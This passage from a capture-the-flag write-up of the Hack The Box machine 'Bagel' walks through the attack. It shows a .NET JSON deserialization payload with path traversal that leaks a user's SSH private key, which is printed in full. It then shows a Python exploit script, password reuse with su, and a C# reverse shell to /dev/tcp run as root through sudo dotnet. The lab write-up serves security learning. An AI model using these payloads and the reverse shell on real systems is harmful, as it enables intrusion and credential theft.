				File.WriteAllText(filename, line);
				this.IsSuccess = "Operation successed";
			}
			catch (Exception ex)
			{
				this.IsSuccess = "Operation failed";
			}
		}

		// Token: 0x0400000D RID: 13
		private string file_content;

		// Token: 0x0400000E RID: 14
		private string IsSuccess = null;

		// Token: 0x0400000F RID: 15
		private string directory = "/opt/bagel/orders/";

		// Token: 0x04000010 RID: 16
		private string filename = "orders.txt";
	}
}

That is really interesting. ReadFile is actually not a method but a property with a getter/setter pair. This means that it can be serialized and then deserialized and exploited. If we serialize an object of the class File and set ReadFile to the filename of a file that we want to read the class will call ReadContent that reads the content of the file and stores it in the variable file_content.

I can see an attack path here. We can design an evil serialized object of the File class to read a file. Do you remmber that after the deserialization it actually was serialized again and sent back to the caller. This means that the content of the file that is stored in the variable file_content will also be serialized and sent back to us via the getter.

So what kind of file should we go for. Well they were talking about ssh keys in the code comments so i bet that the user phil might have something interesting in his .ssh directory, Time to design some payload.

Building a payload to exfiltrate id_rsa

Some quick googling and I found this helpful site. Using the examples there we made a few attempts and finally settled for this payload.

{"RemoveOrder":{"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../../home/phil/.ssh/id_rsa"}}

When the .net application receives this json it should deserialize an object of the type File and the ReadFile setter should be called, that triggers a call to ReadContent as described earlier. We use the code found earlier in the python application and modify it just a bit to deliver our payload.

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order =  {"RemoveOrder":{"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../../home/phil/.ssh/id_rsa"}} 
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

Let’s run our exploit code.

┌──(root㉿3f0a19842f67)-[/]
└─# python3 exploit.py 
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "3:08:45",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

And BOOOM! We exfiltrated ourselves a very nice little secret. Let’s go ahead and use it.

Logging in as phil using a leaked ssh key

At this point we hade quite a few \nin our private key. We need to convert them into line feeds which could be done just using echo. This did not work in my bash shell running inside a docker containter. No need to waste time finding out why, just launch sh and then echo the key inte our id_rsa file.


┌──(root㉿3f0a19842f67)-[/]
└─# sh
# echo "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----" > id_rsa
# exit

Now we got phil:s private ssh key inside the id_rsa file. Let’s change it’s permissions so that it can be used with ssh.

┌──(root㉿3f0a19842f67)-[/]
└─# chmod 600 id_rsa

Now it’s time to ssh right into that bagel box.

┌──(root㉿3f0a19842f67)-[/]
└─# ssh -i id_rsa [email protected]
The authenticity of host 'bagel.htb (10.129.212.147)' can't be established.
ED25519 key fingerprint is SHA256:Di9rfN6auXa0i6Hdly0dzrLddlFqLIfzbUn30m/l7cg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bagel.htb' (ED25519) to the list of known hosts.

Last login: Wed Feb 22 21:18:49 2023 from 10.10.14.64
[phil@bagel ~]$ cat user.txt
deadbeefdeadbeefdeadbeefdeadbeef

So we got ourselves a foothold as the user phil and the user flag right there in the home directory. We did some quick snooping around the system but could not find anything interesting to start attacking. But then I remembered that password we found earlier…

Lateral movement to developer

Let’s see if that password for the database we got earlier could be used for something interesting. Perhaps we could authenticate as developer using it?

[phil@bagel ~]$ su developer
Password: 
[developer@bagel phil]$ 

That worked very well. Developers tend to reuse their passwords all of the time, that’s a fact. :) Now let’s see if developer can do something interesting.

[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

Well that looks very straight forward. We can run .net applications as root. Time to write a really evil .net application to own this system.

Privilege escalation to root

At this point we tried to spawn a shell locally and altering the suid bits on bash but nothing really worked. This gave me an idea about writing a .net core app to spawn a bash shell locally, that article will probably be published before this box. But for now let’s try a good old reverse shell. First of all let’s create a .nwt application locally.

[developer@bagel phil]$ cd ..
[developer@bagel home]$ cd developer
[developer@bagel ~]$ dotnet new console -n evil
The template "Console App" was created successfully.

Processing post-creation actions...
Running 'dotnet restore' on /home/developer/evil/evil.csproj...
  Determining projects to restore...
  Restored /home/developer/evil/evil.csproj (in 142 ms).
Restore succeeded.

[developer@bagel ~]$ cd evil 
[developer@bagel evil]$ ls
Program.cs  evil.csproj  obj
// See https://aka.ms/new-console-template for more information
Console.WriteLine("Hello, World!");

We got ourselves a skeleton .net console application here. We are not interested in printing “Hello World” so let’s change that Program.cs so that it spawns a reverse shell. Let’s use the reverse shell generator.

bagel

This is the code it generates for us.

using System;
using System.Diagnostics;

namespace BackConnect {
  class ReverseBash {
	public static void Main(string[] args) {
	  Process proc = new System.Diagnostics.Process();
	  proc.StartInfo.FileName = "bash";
	  proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.14.64/1337 0>&1\"";
	  proc.StartInfo.UseShellExecute = false;
	  proc.StartInfo.RedirectStandardOutput = true;
	  proc.Start();

	  while (!proc.StandardOutput.EndOfStream) {
		Console.WriteLine(proc.StandardOutput.ReadLine());
	  }
	}
  }
}

We paste this into the Program.cs on the target machine and then we build it using dotnet.

[developer@bagel evil]$ dotnet build
Microsoft (R) Build Engine version 17.0.1+b177f8fa7 for .NET
Copyright (C) Microsoft Corporation. All rights reserved.

  Determining projects to restore...
  All projects are up-to-date for restore.
  evil -> /home/developer/evil/bin/Debug/net6.0/evil.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:04.40

Before launching the reverse shell we need to start our listener on the attacking machine.

[~/Downloads]$ nc -lvnp 1337

Finally we execute our reverse shell using sudo so that it will get spawned as root.

[developer@bagel evil]$ sudo /usr/bin/dotnet run

It just hangs on there so let’s get back to our listener.

Listening on 0.0.0.0 1337
Connection received on 10.129.212.147 40302
[root@bagel evil]# whoami
whoami
root
[root@bagel evil]# cd /root
cd /root
[root@bagel ~]# ls -la
ls -la
total 60
dr-xr-x---.  7 root root  4096 Feb 22 21:06 .
drwxr-xr-x. 18 root root  4096 Jan 20 18:00 ..
lrwxrwxrwx.  1 root root     9 Jan 20 17:59 .bash_history -> /dev/null
-rw-r--r--.  1 root root    18 Jan 21  2022 .bash_logout
-rw-r--r--.  1 root root   141 Jan 21  2022 .bash_profile
-rw-r--r--.  1 root root   429 Jan 21  2022 .bashrc
-rw-r--r--.  1 root root   100 Jan 21  2022 .cshrc
drwxr-xr-x.  4 root root  4096 Feb 22 21:12 .dotnet
drwxr-xr-x.  3 root root    19 Oct 22 21:12 .local
drwxr-xr-x.  4 root root    35 Oct 22 21:12 .nuget
drwx------.  2 root root    25 Jan 26 19:44 .ssh
-rw-r--r--.  1 root root   129 Jan 21  2022 .tcshrc
drwxr-xr-x.  4 root root    39 Oct 22 21:12 .templateengine
-rw-------.  1 root root   532 Feb 14 11:53 .viminfo
-rw-------.  1 root root  1105 Oct 22 20:47 anaconda-ks.cfg
-rwxr-xr-x.  1 root root 16200 Oct 23 19:41 bagel
-rw-r-----.  1 root root    33 Feb 22 21:06 root.txt
[root@bagel ~]# cat root.txt
cat root.txt
deadbeefdeadbeefdeadbeefdeadbeef

WE ARE AT THE TOP OF THE HILL.

Summary

All of us who worked on this box together really liked this one. I would not say that everything is as close to real world as it could be but this is a medium ranked box and the path should be straight forward. You learn quite a few usefull techniques here. Everything from enumerating proc using a LFI and path traversal to writing .net deserialization payloads.

Root was really super simple but still a bit of a twist using .net on a Linux machine. This is a good box to walk through and learn a few things.

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM